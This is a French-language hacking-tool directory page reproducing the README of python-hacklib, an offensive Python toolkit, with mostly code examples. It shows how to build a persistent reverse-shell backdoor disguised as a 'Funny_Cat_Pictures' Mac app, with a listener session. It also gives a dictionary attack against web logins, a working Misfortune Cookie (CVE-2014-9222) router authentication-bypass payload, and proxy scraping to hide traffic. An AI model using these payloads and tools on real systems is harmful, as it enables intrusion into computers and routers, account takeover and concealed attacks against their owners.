Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
python-hacklib — hacklib - tests d'intrusion, scan de ports et connexion n'importe où avec Python | Kitploit
Outils/GitHubGitHub/lazorfuzz/python-hacklib
ReconnaissanceAttaques de Mots de PasseScan de PortsExploitationCollecte d'InformationsTests d'IntrusionDéveloppement de Charges Utiles
GitHublazorfuzz/python-hacklib

python-hacklib

hacklib - tests d'intrusion, scan de ports et connexion n'importe où avec Python

Voir le dépôt
10130il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

hacklib

MIT License Python 2.6|2.7

Boîte à outils pour les passionnés de hacking utilisant Python.

hacklib est un module Python destiné aux passionnés de hacking intéressés par la sécurité réseau. Il n'est plus en développement actif.

Installation

Pour obtenir hacklib, exécutez simplement en ligne de commande :

root@kitploit:~
pip install hacklib

hacklib possède également une interface utilisateur. Pour l'utiliser, vous pouvez faire l'une des choses suivantes :

Téléchargez hacklib.py et exécutez-le dans la console :

root@kitploit:~
python hacklib.py
----------------------------------------------
Hey. What can I do you for?


Enter the number corresponding to your choice.

1) Connect to a proxy
2) Target an IP or URL
3) Lan Scan
4) Create Backdoor
5) Server
6) Exit

Ou si vous l'avez obtenu via pip :

root@kitploit:~
import hacklib
hacklib.userInterface()

Exemples d'utilisation

Backdoor shell inversée (actuellement uniquement pour Mac) :

root@kitploit:~
import hacklib

bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app

Application générée :

Screenshot

Écoutez les connexions avec le serveur :

root@kitploit:~
>>> import hacklib
>>> s = hacklib.Server(9090) # Bind server to port 9090
>>> s.listen() 
New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
bash: no job control in this shell
bash$ whoami # Type a command
leon
bash$ # Nice!

Client de connexion universel pour presque tous les formulaires de connexion HTTP/HTTPS et les connexions par authentification HTTP de base :

root@kitploit:~
import hacklib

ac = hacklib.AuthClient()
# Logging into a gmail account
htmldata = ac.login('https://gmail.com', 'email', 'password')

# Check for a string in the resulting page
if 'Inbox' in htmldata: print 'Login Success.'
else: print 'Login Failed.'

# For logins using HTTP Basic Auth:
try: 
    htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass #login failed

Attaque simple par dictionnaire utilisant AuthClient :

root@kitploit:~
import hacklib

ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)

for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if htmldata and 'welcome' in htmldata.lower():
        print 'Password is', p
        break

Scan de ports :

root@kitploit:~
from hacklib import *

ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default

# After a scan, open ports are saved within ps for reference
if ps.portOpen(80):
    # Establish a TCP stream and sends a message
    send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')

Exploit Misfortune Cookie (CVE-2014-9222) utilisant PortScanner :

root@kitploit:~
>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET / HTTP/1.0\r\n
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# The cookie replaced the firmware's memory allocation for web authentication with a null bye.
# The router's admin page is now fully accessible from any web browser.

Authentification FTP :

root@kitploit:~
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
    ftp.login('username', 'password')
except:
    print 'Login failed.'

Récupération et tunnelisation de proxy Socks4/5

root@kitploit:~
>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# All Python network activity across all modules are routed through the proxy:
>>> urllib2.urlopen('http://icanhazip.com/').read() 
'41.203.214.58\n'
# Notes: Only network activity via Python are masked by the proxy.
# Network activity on other programs such as your webbrowser remain unmasked.
# To filter proxies by country and type:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')

Manipulation de mots :

root@kitploit:~
from hacklib import *

word = Mangle("Test", 0, 10, 1990, 2016)

word.Leet()
word.Numbers()
word.Years()

Sortie :

root@kitploit:~
T3$t
Test0
0Test
...snip...
Test10
10Test
Test1990
1990Test
...snip...
Test2016
2016Test

Création de motif :

root@kitploit:~
from hacklib import *

Pattern = PatternCreate(100)

Pattern.generate()

Sortie :

root@kitploit:~
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Décalage de motif :

root@kitploit:~
from hacklib import *

Offset = PatternOffset("6Ab7")

Offset.find()

Sortie :

root@kitploit:~
[+] Offset: 50

Dépendances

Toutes les classes n'ont pas de dépendances externes, mais au cas où vous pouvez faire ce qui suit :

root@kitploit:~
hacklib.installDependencies()
Télécharger l’outil